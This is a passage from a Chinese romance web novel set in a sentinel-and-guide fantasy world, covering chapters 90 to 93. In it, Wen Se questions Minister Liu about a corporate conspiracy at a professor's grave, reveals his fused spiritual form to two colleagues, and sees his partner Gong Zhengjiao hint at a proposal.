闻璱那么老古董,那么封建,那么饱受,对待边界感那么严格,对待感情那么认真……总之,现在能说出这样的话,那岂不是等同于说:我想好了。 老天。 这和求婚有什么区别。 弓铮皎的五脏六腑突然连锁性地爆炸了一下,冲击波震得神经中枢都麻了。 他倒吸一口凉气,随后的第一反应竟然是,抬手捂住闻璱的嘴。 然后他本能般地说了句脏话:“我靠。” 闻璱:“……” 他没有躲弓铮皎的手,只是对这反应实在意料之外。 下半张脸被弓铮皎捂得实在,好在弓铮皎还记得照顾他的强迫症,并没有让掌心贴紧他的嘴唇。 闻璱眨了眨眼,不方便张嘴,便只能很轻地:“嗯?” 弓铮皎看着他,脸上一点一点浮出绯红。 他眼神微动,像兴奋,像期待,也像为难,似乎还有一丝隐约的紧张。 “你不能继续说下去了。”弓铮皎语无伦次,“让我来,求你了,这个一定要让我来——但我还没准备好,不对、其实我早就准备好了,只是怕冒犯你。等我们回家之后……等我们回家之后!” 闻璱:? 他不是很理解弓铮皎这通没头没尾的胡话在说什么,只能又眨了眨眼睛表疑惑。 “你别眨了。”弓铮皎的声音带了颤,“我早就觉得你不能总是眨眼,你一眨眼,我就觉得有龙卷风……为了世界安全,你不能再眨眼了。” 他彻底大脑停摆处理不了任何事,干脆又用另一只手盖住了闻璱的眼睛。 在一片漆黑里,闻璱不听话的睫毛刮过弓铮皎的掌心,就让这形成中的风暴钻进皮肤,顺着骨血席卷弓铮皎全身。 弓铮皎唤了一声:“闻璱……” 过了很久,才接上后半句话:“我才知道,当这一切真的可能发生的时候,我根本做不到我说的那样。” 哪样? 闻璱还是轻轻挣开了弓铮皎的手。 虽然不明白为什么,也暂且不懂弓铮皎的心路历程,但闻璱直觉很准地品味出,接下来要说的话值得很认真地倾听。 弓铮皎怔怔地看着闻璱。 似乎是为了照顾他,闻璱居然真的放缓了眨眼的速度,那双眼显得如此温和美丽,静静凝望着弓铮皎,宛若两眼粉色的泉水,让他恨不能溺死其中。 弓铮皎说:“我要食言了。” “我以前说,只要你愿意跟我结婚,只要你愿意跟我装一装,我愿意立刻去死。” 那时是认真的,因为他将这段关系视为自己单向地花钱买闻璱提供情绪价值,享受过之后,他就愿意自此放手。 也是那时,他甚至会幻想作为闻璱已故的亡夫,也算是别有一番意趣。 可他从来不知道,原来如果他真的能够触摸到以前不敢肖想的那颗真心。 他根本不舍得去死。 弓铮皎现在甚至觉得,哪怕闻璱亲自动手杀了他,他都能从坟里起尸爬出来,变成厉鬼死死缠着闻璱不放手。 然而弓铮皎并没有将后半句阴湿的话说出来,闻璱只听到前半句,便唇角微弯,道:“那很听话了。” 接着闻璱话锋一转:“你刚刚说让你来做什么?准备什么?” 弓铮皎此时终于能冷静半分,见闻璱似乎真的不太明白,不像是在钓鱼,强作镇定道:“没什么。” “喔。”闻璱不置可否地应了一声,状似随口道,“我还以为你是说求婚。” “!!!” 回马枪把弓铮皎杀了个片甲不留。 弓铮皎又是一口气没上来,瞳孔骤缩,连缠在闻璱手腕上的尾巴都激灵了一下。 闻璱并未错过他的小动作和反应,心里只觉得好笑。 就像以前一样,弓铮皎的心事实在是太好猜了,根本不需要费心思。 更何况,这本来就是闻璱亲手丢下去的、量身打造的鈎子。 趁着弓铮皎瞳孔地震语言紊乱,闻璱掌握主动权,抬手轻轻抚在弓铮皎眼前,挡住了弓铮皎的视野。 “你明白我的意思,别急,好吗?”闻璱温和道,“接下来我们还有很多事要做。” 他觉得弓铮皎现在有点太激动太兴奋了,结合在水盘镇前前后后呆了有差不多半个月,闻璱意识到一件事——弓铮皎那本就被刺激所以容易紊乱的热潮期可能会被刺激到。 而弓铮皎有多无法无天,从昨天晚上闻璱就意识到了。 很不幸的是,在列车上发生点什么,对闻璱来说,比野战还不可接受。 后者主要是不卫生而已,前者还很丧失公德心,简直天理难容。 闻璱手上用力,把原本也没有坐直,只是倚靠在墙板上的弓铮皎推得躺了下去。 同时,微量向导素不动声色地向弓铮皎释放了催眠的信号。 “睡一会吧。”闻璱轻声说。 话音落下,闻璱移开手,弓铮皎的眼神已然看起来有些朦胧。 拿捏他对闻璱来说还是这么容易。 “好梦。”闻璱哄道,“等忙完手头的事情,我有奖励给你。” “奖励……”弓铮皎呢喃着陷入梦乡…… 到站下车之后,他们匆匆回家一趟把行李放下,闻璱又抓紧时间冲了个澡,便赶往公墓。 邵教授安眠于郊区的私人公墓,价格昂贵,常年有专人打理,并不需要扫墓的人真的操劳些什么。 去的路上,闻璱发消息通知了柳部长,消息立刻显示“已读”。 等到抵达公墓时,柳部长就在墓园外等待。 大夏天的,柳部长竟然也是一身长袖长裤,甚至还套了一件薄款风衣外套,看起来和其他所有人都不在一个季节。 他怀里抱着一束白色的栀子花,眼下青黑,大概从昨天收到闻璱消息就没休息好,甚至可能根本没休息。 一见闻璱,还没打招呼,柳部长的精神力就毫不避讳地包裹了过来。 这举动很不礼貌,并且他的精神力并没有避让弓铮皎,当即冲得弓铮皎不适地皱起眉毛。 刚要反抗,闻璱低声道:“没关系。” 柳部长无非是为了试探闻璱所言真假,做戏做全套,闻璱早就准备好了应对方法,还怕柳部长不来这一下呢。 在水盘镇时,闻璱已经试探出了小黑能够存在的极限距离,现在小黑正在几公里开外和阿咬玩耍。 柳部长的感知铺开了很远的距离,但到底没想到小黑已经能在那么远的地方存在。 最终柳部长没能探测到闻璱身上有任何精神体的存在,脸色也越来越黑。 “进去说吧。”柳部长带路。 邵教授的墓碑上只有很简单的几个字:从此,不再多梦。 在邵教授的墓前,柳部长将那束花放下,默默地站了一会。 闻璱也同他一道默立片刻。 柳部长凝视着那束花,缓缓问:“这些年,你是不是一直在责怪轶榕。” 闻璱没有应声。 说“是”显得太过无情,但说“不是”是不可能的。 邵教授的违规行为导致了一系列后果,险些把闻璱连累其中。 尽管柳部长最终将闻璱“捞”了出来,算是救人于水火之中,但究其根本,颇有种“这水火哪里来的你别问”的荒谬感。 柳部长叹了一声,道:“轶榕她是好心,她总是好心,只是很多时候……她不那么擅长甄别别人的心。” 不那么善于观测人心,却又才华横溢,便成了别人的手中刀俎。 闻璱眉心微蹙,总觉得柳部长话中有话。 柳部长暗示,邵教授的研究本身无错,但是别人恶意利用了邵教授和邵教授的研究——可这个人难道不就是柳部长自己吗?或者说,是柳部长和希冕创辉的宫家人。 如果不是贼喊捉贼地想将自己从中割席洗清,还有一种可能,就是—— “你所参与过的那个课题,原本就是‘人造特种人’项目的衍生。”柳部长道,“只不过,轶榕以为这枚芯片研究出来,是为了能够缓解甚至治愈张永荣的病情。” 话语之间,似乎就这样默认了闻璱已经了解一切内情。 闻璱面无表情,并不顺着他的话问下去,道:“我认为你应该从头开始先解释一下,这一切究竟是怎么回事。” 柳部长反问:“你不是已经知道了吗?” “不说我就走了。”闻璱道。 当然不会真的走,但这招对付柳部长很有效, 柳部长冷笑一声:“你别忘了是你现在有求于我!” 闻璱转头就走。 柳部长还冷着脸,却出声道:“等等!” 他顿了一下,语气十分不爽地解释起来:“你到底还有什么不明白的?宁滂不是把一切都记录下来了吗?就是像她写的那样——这件事还是在我的授意下做的。” 闻璱一针见血:“你清楚这一切,但仍然默许并积极参与进后续项目中。” 这话太不留情面,刺得柳部长气息一窒。 但闻璱似乎并不因此愤怒,平静道:“你曾经乐于助纣为虐,现在你选择把线索透露给我,也并不是因为正义心作祟,只是因为你仍然对教授的死感到不忿。” 顿了顿,闻璱评价道:“这很正常。” 闻璱是确实认为这很正常,甚至这一点更让他安心,仇恨、利益作为燃料,远比良知要可靠得多。 可柳部长青筋暴起,脸色是肉眼可见的不善。 他转过头,余光 瞥见一直在不远不近处站着的弓铮皎,反唇相讥:“那你又算什么?大善人善心大发,想要打捞这个无辜哨兵?我可提醒你,他不是一般人,不是你靠善良就能拯救的。” 类似的话,闻璱早就听过了,张律师也曾经说,弓铮皎是计画中最重要的一环。 事到如今,闻璱大概明白了为什么。 只不过面对柳部长,闻璱同样不想在话语上落入下风。 他也回头看了一眼弓铮皎,似乎意有所指地冲弓铮皎眨了眨眼,然后转头道:“不是,你搞错了,我完全不想捞他。” 柳部长:“……?” 闻璱理直气壮:“看不出来吗?是他在碰瓷我,威胁我。” 90-100 第91章 不要妄想自己总是全知全能。 “……” 柳部长张着嘴失声了。 默默听到这一切的弓铮皎一直没出声,但转过身,极力抑制自己想笑的欲望。 柳部长不可置信的目光在两人身上来回反覆,几圈之后,柳部长还是说:“不可能。” 弓铮皎什么性格,会不会这样做,柳部长拿不准。 但闻璱遇到这种事是什么反应,会不会真的被拿捏,柳部长太有数了。 闻璱并不与他理论自己的性格如何,行事风格如何,直接道:“反正我和他现在是一根绳子上的蚂蚱了。” 这倒一直是实话没错。 柳部长咬牙切齿道:“好吧。” 他声音低了许多:“芯片的原理是神经元信息仿真过载,这你已经清楚了,它并不是为寻常特种人研发的,而是为了‘人造特种人’。这个实验并不能算是希冕创辉主导的,而是宫博士的私人授意,这一点我没必要骗你。” “宫博士沉迷于特种人精神体研究,自己也想拥有一个,这你是知道的。但三十年前医疗事故几乎宣告了项目失败,宫博士原本已经放弃了,直到前些年,弓铮皎突然患病。” 柳部长叹了一声,突然话锋一转:“你应该知道,精神力也有‘排异’的说法吧?现阶段普通人很难同时适应精神图景和精神体两种投射,就比如张永荣,他和宁滂的精神体配型成功,却没想到手术后他和精神图景产生了严重的排异,这才是导致他精神分裂的原因。” 闻璱点了点头,脸色也变得微妙起来。 他好像知道柳部长要说什么了。 “但是,弓铮皎长期精神图景状态不佳,突然患病便让他的萎靡症状直观体现在精神图景上。这让宫泰初发现了新的切入点——如果能够将一个人的精神图景和精神体切割,那就能够缓解排异了,不是吗?” 作为意识的两种投射,显然这种切割不可能靠前额叶切割来实现。 所以,通过植入芯片来仿真神经元信息,来让精神图景长期“掉线”,这就是宫博士的计画。 “他骗了轶榕。”柳部长有些咬牙切齿,“三十年前的医疗事故,轶榕一直惦记在心里,为了补偿张永荣,她才会毅然决然地拉起这个课题,却没想到这一切都是为了满足宫泰初私心的阴谋!” “我知道你要说什么,那个手术失败的孩子。”柳部长恨声道,“发生了意外不假,但她的结果本就是术前告知的可能风险,轶榕也准备了后续的治疗计画。如果不是发现这一切都是阴谋,轶榕根本不会自杀!” 闻璱看着他,皱眉道:“所以,教授为了不让自己继续被利用,让课题的产出成果落入宫博士手中,才选择了自杀。而你,作为她曾经的得意门生还有……你却选择和她的仇人联手,把课题彻底完善?” 简直是荒谬。 柳部长怒道:“你懂什么?你以为宫泰初是那么好拉下马的人?他不要紧,可他有一个双胞胎兄弟,比寻常兄弟还要亲密更甚,甚至可以说无论怎样都会把他摘出来!” 他低声吼着,目光如利箭般射向弓铮皎:“就是你那个——” 没来得及把话说出来,闻璱用一记直拳打得柳部长“呜”地一声踉跄几步,捂着脸不可置信地抬起眼。 “说正事就说正事,别牵扯无关的人。”闻璱冷冷道,“弓铮皎不是加害者。” 而是完全被欺骗、被算计的受害人。 “你!”柳部长气得想骂人,然而一张口又牵扯动了刚才被拳击导致自己咬出来的伤口,龇牙咧嘴地噤声。 弓铮皎十分感动,上前几步拾起闻璱的手,百分刻意地吹了吹,满是心疼。 “我都知道了,其实没关系的。”他心里想。 但闻璱都这样替他动手了,他只可惜没能及时掏出终端把刚才的一幕拍照记录下来,又怎么会现在为了缓和气氛唱白脸,这不是拆闻璱的台吗? 闻璱挣开他的手,对他却也没几分好脸色:“我没事,你出去。” 公事公办得令人发指,前提是忽略他上一秒才为了私情而对柳部长拳脚相向。 弓铮皎只好又掩耳盗铃般地站远了几步。 闻璱继续对柳部长道:“现在我有几个问题。第一,那你现在的计画到底是什么?第二,弓铮皎患病这件事,确实没有希冕创辉的手笔,是吗?第三,你……” 他话语一顿,抿了抿唇,罕见地露出不确定的神色:“你给我的那个注射器里面,根本不是芯片,对吗?” 柳部长小幅度地扯了扯嘴角,似乎是想冷笑一下,但抽搐的嘴角看起来并不嘲讽,反而显得有些滑稽。 “你真的很聪明,闻璱。”柳部长阴沉道,“三年前你拒绝我的时候,有想过今天你又主动来找我吗?我真没想到,你还是个痴情种啊。” “回答我的问题。” “好吧。”柳部长道,“我先回答你的后两个问题,弓铮皎会患病与希冕创辉无关,但他病情恶化完全是宫泰初的安排,他的精神力级别太高,只有让他变得虚弱,宫泰初才更有可能承担得了他的精神体;至于芯片——确实不是,但其中究竟有什么,连我也不知道,那似乎是最高机密。” “三十年前的医疗事故之后,为了给宫泰初擦屁股,宫董已经对宫泰初非常不爽。但几年前宫泰初决定利用弓铮皎重启课题,宫董居然默许了,你认为他是一个如此富有父爱的男人吗?” “哈哈,说不定呢。”弓铮皎突然笑出声,“叔叔其实很在意血亲的。” 对亲生儿子宫烁、对双胞胎兄弟宫泰初,宫董都是一个如此富有感情,宽容而又细腻的人。 只可惜弓铮皎从来不在此列。 他笑声里多有无奈,也有些嘲讽,又怕闻璱在意,转过头冲闻璱眨了眨眼,表示自己这话只是为了呛柳部长,而不是真的难过。 闻璱明白柳部长的意思,能够让宫董看中的,必然是其中的利益。 但那利益究竟是什么?闻璱实在想不通。 芯片现阶段的造价极高,被移植精神体的特种人还必须是融合派特种人,这更是可遇不可求。 也就是说,即便攻克了所有技术上、生物上的难题,这一项目也难以大批量复刻。 哪怕放弃下沉市场,仅仅作为专供上层人士的定制,回报率也很难说。 左思右想,闻璱最终想到那枚注射器。 如果其中并不是仿真神经元信号的芯片,那或许,这就是一切的关键? 他沉思不动声色,彷佛心湖完全不因这些爆炸性发言而激起一丝波澜。 柳部长拿不准他的态度,只得继续讲道:“我的计画……我的计画都被你给毁了,你明白吗?” 弓铮皎又插话:“少血口喷人啊!” “我提示过宁滂,让她留下能够作为证据的东西,可她不信任我,没有把任何东西交给我就死了。我去过水盘镇,她倒是聪明,把一切都藏在保护区里,线索给了张光霁这个小孩。我如果找关系来掘坟,必然会引起希冕创辉那边的注意,他们盯我盯得很紧。所以我才会暗中协助张律师,引导他追查这一切,可你倒好,闻璱,你把张律师给爆了!” 闻璱:“……” 他第一次有点淡淡的无语了。 但这事细究起来,闻璱觉得也不能全怪自己。 他叹了一声,只能问:“张律师现在在哪?如果拿到证据,你的下一步安排是?” “宫烁的疗养中心里。”柳部长道,“他嘴巴很硬,不知道为什么,连死都能做出来的人,现在却一口咬定一切只是意外,甚至骗过了测谎仪。如果不是我去看过他,恐怕也会以为他真的失忆了。” “至于接下来,我保存下来了这些年的很多书面性的证据,只可惜还是不够。如果宁滂和张永荣能够活着出庭作证的话当然最好……”柳部长闭了闭眼睛,那张眉梢眼角一向都向上挑的脸上第一次出现疲惫,“你也不用担心,做完这些,我就打算去陪轶榕了。” 死人注定不能复生,但宁滂的日记和留存的证据还算有力,张永荣的状态也在渐渐变好,或许有可能让他出庭作证。 虽然即便胜诉,对希冕创辉来说,或许仍然只是皮外伤。 闻璱便开门见山道:“你得安排我们见一面。另外,宫董究竟看中什么,你还没说。” “我也不知道。”柳部长摇了摇头,“见面的事不算困难,但宫董究竟在打什么算盘,我也不知道,我只知道他很明确地表示过——弓铮皎必须死,他这条命的价值很大。” 闻璱听惯了这话,如今已不为此感到波动,问道:“节省公关的价值?大义灭亲的价值?” 语气平静得像是在说:豆浆泡油条的时候还是不加糖更好。 “没那么简单。” 这个问题似乎终于让柳部长找回一丝重回上风的感觉。想到弓铮皎是他最恨的宫家人,他便为这豪门恩怨自家人打自家人而想要发笑。可想到闻璱和弓铮皎的关系,他又难免联想到自己,生出几分兔死狐悲来。 叹了一声,柳部长缓缓开口:“具体是什么,我真的不知道,我只能告诉你,给你的那枚注射器,其实是宫董命人研发的,而不是宫博士,它堪称是为了弓铮皎量身打造的——” “粘贴它之后,弓铮皎就必死无疑。” 闻璱当即眼神一凛。 他还记得自己编过什么谎,语气不善道:“那你还给我?现在我用了,我的精神体消失了,就是因为它?” “我也不知道为什么会这样,但那里面本来也不是什么新型毒素,否则尸检很难通过。”柳部长坦然道,“我拿到这样东西很不容易,多一件都没有了,也没来得及对它做太多研究。” “那你交给他的时候,为什么不把这件事说清楚?”闻璱愠怒。 万一真的有谁一时冲动,弓铮皎现在岂不已经不明不白地躺板板了。 “我哪知道你会那么冲动!”柳部长也怒了,“闻璱,这么多年了,我以为你是一个理智、可靠的人,谁知道你谈了恋爱就扔了脑子,竟然能做出这种事,我真是瞎了眼了!” 闻璱:“……” 这么说柳部长的分析其实无误,因为闻璱确实很谨慎地对待那枚注射器。 “总之,事情就是这样。”柳部长总结,“你去找张律师,拿到宁滂留下的证据给我。” 他做领导太多年,说话时颐指气使习惯了,吩咐得理直气壮。 只可惜闻璱并不是他的下属,也并不好说话。 “不,接下来你配合我行动。”闻璱淡道。 “你说什么?!” “你的计画未必能对宫泰初造成什么实质伤害。”闻璱比他更理直气壮,“但我有其他情报,如果我想得不错的话……或许能让宫董放弃他的同胞兄弟,这样,才更有可能让你对宫泰初复仇,不是吗?” “什么情报?”柳部长立刻追问,“你知道注射器里是什么东西?不对,你知道就不会给自己注射了……那么就是你知道宫董的计画?” 闻璱微微抬起下巴:“知道。” “但我不会告诉你,就像你之前对我说过什么?现在,我送给你。”闻璱一笑。 “不要妄想主动权总是在你手里。” 第92章 冒着爱心泡泡的小湖泊。 从公墓回到家不久,舒颖就准时来了。 这次还是权冽和她一起来,手里拎着一大袋子文档。 今时不同往日,弓铮皎自恃身份不一般了,很想拿出闻璱配偶的架势来热情招待一番。 这招对逄靥星或许十分有用,能收到很令人满意的反馈,然而不巧,他面对的是舒颖。 舒颖只冲他点了点头,就立刻拿出文档递给闻璱。 她直入正题:“我发给你的那些数据你都看完了吗?” “……”一向是优等生的闻璱很少面临这样的场合,彷佛被导师质问研究进度而自己什么也没做。 闻璱深深反思自己在水盘镇这半个月时间实在是放纵了,诚实道:“还没有,我会尽快。” “没关系。”舒颖并不在意,“你说你有新的发现,展开说说?” 于是,闻璱也不多寒暄,把弓铮皎的病症和自己的猜想尽数告知舒颖。 当然,他选择性的隐去了一些内容,比如关于柳部长和希冕创辉之间那些剪不清理还乱的恩怨,也比如关于自己曾经不明不白地参加过的课题,还有和张律师有关的一切。 舒颖沉思片刻,总结道:“也就是说,酸雨可能是一种类水母生物。它的痕迹出现在弓铮皎的精神图景里,很有意思,这是怎么做到的呢?我执行任务时也经常经历酸雨,但我确信,我的精神图景里并没有这种东西。” “我也没有。”闻璱道。 但话才出口,闻璱几不可察地蹙了一下眉。 舒颖思考着,突然并不避讳地看了一眼弓铮皎,有些踌躇地问:“他的病因到现在都不明朗,有没有可能,和这有关?” 大抵哨兵之间对于“失控”、“萎缩”和“神游”的病症,总有些物伤其类的关切。 有结合向导的逄靥星尚且如此,选择和哨兵结婚的舒颖则更加感同身受。 “这也正是我想跟你说的事情。” 闻璱罕见地露出迟疑。 他捏了捏自己的鼻梁,诚恳道:“可能会将你卷进本来没有任何关系的纠葛里,我想这一点要跟你说清楚,你可以好好考虑,也和权冽商量一下。” 闻言,舒颖也微微蹙眉。 一旁一直在发呆充当摆设的权冽有些无奈地说:“你都把她的胃口钓起来了,现在这样,她可不舍得放弃。” 闻璱笑了一下:“抱歉。” 舒颖道:“不怪你。早在我决定要私下研究这个被封锁的课题的时候,我就知道这不会很简单。” 她又看向弓铮皎,试探道:“你是为了他这么做的吗?” 这话一出,闻璱还没回答,弓铮皎的嘴角已经快要左角踩右角一路飞上天了。 闻璱扪心自问,也不知是觉得这样真如逄靥星、柳部长所说,显得自己太恋爱脑;抑或是觉得应下这个问题彷佛不大体面,既得到了道德资本,也能用“为了别人”来推卸责任。 最终他摇了摇头:“更多的是为了我自己。” “我没有跟你们说过,甚至连逄靥星,此前我都没有告诉过他。”闻璱叹了一声,“我和弓铮皎有相似的病症,只不过他更严重,且我的异常体现在精神体上。” “还记得之前有一次任务时,我没能及时响应支持,幸好逄靥星反应快帮我兜底了吗?那之后我的精神体就隐身了很长一段时间。直到近期,才有康复迹象。” 一时间舒颖和权冽都被震惊得没了声响。 好半天过去,权冽似是瞭然地点了点头:“怪不得你那时就不做任务了……说实话这件事之前其实让我很不满。” 闻璱只能道:“抱歉。” “我不是需要道歉。”权冽摇头,“我只是觉得,你有困难可以说。虽然我们平时不太联系,但这种事只要你肯提,我们肯定会帮忙的。” 舒颖则又注意到了关键:“等一下,所以说你已经在康复了吗?怎么治疗的?我记得上回过来,确实看到……这位先生抱着小黑。” “有康复迹象,我也是从其中找到了一些线索,”闻璱道,“所以你想清楚了?” “嗯。”舒颖坦然道,“关于‘酸雨’的真相离我越来越近,就算没有你,我现在也舍不得放弃我的研究。” “好的。”闻璱缓缓道,“先说结论,我认为‘酸雨’生物所产生的某种物质,能够为星海能源带来利益,他们正在进行商业方面的研究——但同时,这种物质可能会导致精神力过度活跃,在特种人身上病症就尤为明显。” 此言一出,连弓铮皎都睁大了眼睛。 “我还不确定星海能源对‘酸雨’生物的研究进展到了哪个地步,但我想,应该还没有太过透彻,所以他们想办法封锁了一系列课题,就是为了防止有其他企业更快发现其中的商机。” 闻璱微微一笑:“就像你。” 他顿了顿,话锋一转:“几年前我和弓铮皎都接过一个星海能源的S-1委托,在一区布设设备,非常简单,唯一的特别点在于是单人委托。或许你们也接过?” “我也接过。”权冽道,“舒颖当时在做研究,没有去。但任务很顺利,我也没有任何异常。” “是的,我想A级以上的特种人大概都收到了这个委托的联系,绝大多数人都没有异常。” 舒颖似乎总是慢半拍地突然道:“他们在进行测试?” “没错,单人委托以确保控制变量。”闻璱颔首,“在发布委托之前,他们肯定进行了生物实验,就是舒颖你看到的那些小鼠窒息、淹溺的实验记录,当然我想他们大概也对普通人进行过实验。在那之后,又通过无数个委托,测验出了对于特种人来说的致病阈值。” 闻璱指了指弓铮皎:“明面上来看,有严重反应的大概只有弓铮皎一个人。而这种物质导致的病症本就和精神力水平成正比,弓铮皎又情况特殊——哦,对了,他十几年没有接受过任何安抚和梳理,精神图景本来就是一团乱遭——而我又有一段比较长的潜伏期,加上就医时我的症状体现在精神体,和弓铮皎、和星海能源过往的实验反应都不太相同,所以大概被忽略了。” 舒颖立刻问:“只是一次接触,就导致你们两个人都出现异常?” “只有我。”闻璱却说。 “只有我,只是一次接触。”他补充道。 弓铮皎明白他言下之意,瞳孔骤缩。 闻璱回过头去,平静道:“你摄入的次数绝对不止一次——在你不知道的很多时候。” 这话掀起了弓铮皎心里的惊涛骇浪。 他想不通有什么时候悄无声息地被“下毒”,就像闻璱认为他是难以被外力手段成功谋杀的三体人,他的自我认知其实也差不多。 ——除非,是一种新发现的、对特种人精神力有奇效的特殊物质。 理论上来说,特种人本因对此更加敏锐,就像关于污染区的精神污染相关事宜都由特种人公会管理一样。 酸雨却是其中唯一一个至今仍然无法被目击观测的例外。 或许还是想多少保护下弓铮皎的隐私和家庭关系,闻璱并未就这个话题展开叙述太多,但从他的语气来看,或许已经有了些想法。 闻璱继续道:“症状来看,初步考虑是精神力过度活跃导致的一系列反应,窒息只是其中之一,我相信应该也有许多实验动物出现了心脏过速、或是癫狂发疯。” 舒颖脸色认真:“目前看来一切都很合理,但我还有一个最关键的问题。你说这种物质会导致精神力过度活跃,这也是精神力级别高的特种人会产生异常,而普通人不会的原因,既然如此,为什么你能将你的精神体隐身症状也和这挂鈎?按理说,小黑应该表现出狂暴,就像失控哨兵那样,就像弓铮皎的精神图景那样才对。” 这算是个问到点子上了的问题。 闻璱微微一笑,唤了一声:“小黑。” 随着他话音落下,楼梯间传来翅膀搧动的声音。 三双目光随之望去,看到一只湿漉漉的黑天鹅从旋转楼梯上扑腾着飞来,修长的脖颈和乌黑的双翼如此优雅美丽,但两只脚蹼在扶手上留下鲜明的水印,可见这只陋习斑斑天鹅的还是如此屡教不改。 闻璱向它微微张开双臂,以便小黑轻灵地跃入怀中。 然后在下一个瞬间,似有一阵微风拂过,尽管室内一片风平浪静,连壁灯上的挂饰都没有一下轻动,舒颖和权冽却还是下意识地眯了眯眼,彷佛是被迷了眼。 只有站在闻璱身后的弓铮皎一直睁着眼睛。 并不存在的微风散去之后,舒颖和权冽再抬眼时,被眼前画面震得久久无言。 闻璱雪白的长发已尽数化为墨色,衬得肤色更是白皙光洁,一双眼眸便如陶瓷砚台上的两点朱砂,艳而隐隐含着一丝危险感。 而他背后,一双乌黑的翅翼同样探出,因为尺寸实在不小,为了防止坠在地上,双翼稍微交叠着,宛如油画里的画面。 “我是融合派。”闻璱缓缓道,“这些年一直没有告诉过你们,很抱歉,但这就是我会如此判断的原因……因为我明白,精神体就是活跃在不同波段的‘我’的意识。” “当小黑在不知不觉中摄入了那种物质——我现在还不确定这是否可以被视为一种污染——它会在无意识的情况下选择最安全的办法,就是消失,让这种物质带来的异常反应和我彻底隔离。” “求生是人类最底层的欲望,比任何欲望都要更加强烈。”闻璱轻叹一声,“也就是说,它在救我,或者说,是我在自救。” 在危机中寻求自救的办法,是人类的本能。 但从前实在是毫无线索,闻璱从未往这个方向想过。 论起契机,竟然是在弓铮皎图景内核的那时候。 那一整夜他反覆做梦,莫名地又回想起过去弓铮皎每一次和小黑接触的场面。 属于他的精神体比起他自己更亲近另一个人,这不合理,即便是按照“小黑是在提示他需要休息”的推理,也仍然说不通。 而且,曾经有不止一次小黑依靠弓铮皎和阿咬出现,却在闻璱想要捕捉到它时消失的前科。 闻璱实在不理解,自己为什么会躲着自己,又为什么在酒庄的事故发生之后不躲了。 直到在弓铮皎的图景内核,被那些宣誓爱意的气泡阻拦接触那坨纸巾一样的水母——这画面在他脑袋里重映了一整夜,他突然醍醐灌顶。 那些气泡是在保护他,就像小黑不愿意接触他,而是引导着他和另一个困于异常反应的患者接触。 闻璱只觉得,他本该早就明白这一点的。 因为一切就像弓铮皎说的那样,弓铮皎担心闻璱会出事,远甚于自己安危。 原来有人真的可以把保护他人放在比自我求生本能之前。 他曾经认为这并非健康的感情观。 可当这一切确实发生的时候,他细细梳理,不得不承认他的潜意识已经给出了回答。 原来他也真的从中感到无法形容的、酸酸麻麻的安全感,最终汇聚成一个冒着爱心泡泡的小湖泊。 第93章 这个世界上,我最爱的就是你。 这番话着实让舒颖和权冽陷入沉思中。 闻璱并不急于灌输其它信息,平静地任两人放出精神体检查自己。 一条蛇,一头狼绕着闻璱走了几圈,到底没有扑上来。 但站在闻璱背后的弓铮皎却有点蠢蠢欲动了。 他细致地欣赏了这双拟态羽翼从闻璱背后冒出来的全过程,甚至睁大眼睛,恨不得能有一双透视眼,穿过衣服将背肌的每一下发力都记录下来。 当乌黑的羽翼缓缓展开,又轻轻垂下时,闻璱微微偏头,余光似有若无地扫过弓铮皎。 于闻璱而言,不过是随意一瞥,落在善于联想的弓铮皎眼中却百般特别。 ——如果把那双羽翼看作双手,这便如此像一出芭蕾舞剧的谢幕动作。 哪怕闻璱早就说过了,对芭蕾舞一窍不通,弓铮皎还是忍不住这样幻想。 就连此刻的场景也如此合适,闻璱在向他人坦诚关于融合派身份的秘密,而弓铮皎,好巧不巧,就曾是这个秘密的唯一知情人。 就像成为了舞剧主角的亲属,因此能够站在后台,以这样亲密而又特别的视角欣赏一个不同的谢幕礼。 甚至那位夺人眼球的主角还会不经意间暗送秋波。 ……简直更爽了。 弓铮皎甚至觉得这是个绝佳的求婚场合,他很喜欢,只是他不确定闻璱会不会喜欢。 权冽对闻璱的拟态融合羽翼兴味盎然,认真道:“怎么做到的?教教我。” “这我没法教。”闻璱笑了一下,“怎么说呢……就像你没法教我,如何让精神体通过嚎叫在族群中传递信息。” 闻言,权冽有些失望地点了点头:“好吧。” 舒颖则更快地在脑海中把闻璱刚才说过的一切都串上了线,总结道:“所以说,如果我们去研究‘酸雨’,可能会触及星海能源的大项目,并且其中还有希冕创辉的手笔,和普通人资本作对,是吗?” “是的。”闻璱轻叹,“这很危险,我明白,只可惜我也有不得不做的理由。” 是为了自己更好地活下去,或者说,也是为了弓铮皎能活下去。 然而舒颖和权冽并没有不得不做的理由。 所以,如果舒颖现在退出,闻璱没有丝毫怨言。 舒颖也对此心知肚明。 就像闻璱一样,她首先联想到这可能会危及家人,更何况她还和权冽正在孕育着一个孩子。 似乎从任何角度来看,放弃好奇心都是更明智的选择。 舒颖偏头看向权冽,权冽摊了摊手。 她长舒出一口气,权冽便瞭然道:“我就知道。” 权冽替她对闻璱说:“可惜你劝我不要继续的理由是‘与资本作对’,而不是‘于伦理、道德和原则不合’。” 也就是说,她不会就此放弃。 闻璱郑重地对她伸出手:“谢谢。” 这动作对数年共事、能够交付性命的战友而言,实在有些距离感,不过遗憾的是,这些年他们的私交或许就是如此生疏。 舒颖握上那只手之后,权冽也上前,给了闻璱一个短暂的拥抱。 对彼此来说,这个拥抱都很生疏。 权冽甚至毫不掩饰自己的声音,在拥抱的同时抱怨道:“唉,麻烦事。” 但她到底没说“后悔”。 “……” 送走两人之后,闻璱如释重负地叹了一声,转头就看见弓铮皎亮晶晶的眼神。 理所当然地,他有些意外——在设想中,弓铮皎应该询问“中毒”的线索,或许也会为此感到难过;又或者是很迅速地讨论一些猜想、接下来的计画。 唯独不包括现在一脸强作镇定但根本镇不住的期待。 “怎么了?” “有个不情之请想问问你,”弓铮皎故作扭捏道,“只是问问,没有真的要做什么的意思,也没有逼迫的意思……当然如果你同意的话我也可以这样做。” 闻璱有种不算很妙的预感,“有话直说。” 弓铮皎便直说:“很高调、很大排场的那种宴会上,如果发生点什么意料之外但又情理之中的事情,你会觉得尴尬吗?” “……” 见闻璱表情微妙,弓铮皎又立刻补充道:“别担心,不是要捉弄你什么糗事,也不是要故意让你难堪。但是你不喜欢的话可能会觉得难堪……所以我想着得提前问问你。” 他语无伦次,东一鎯头西一棒槌地解释着什么“逄靥星又不懂你”、“这事你的意见最重要”此类胡言乱语。 但闻璱莫名会意了。 闻璱微微挑眉,有些无法理解的惊讶:“你想求婚。” “!!!” 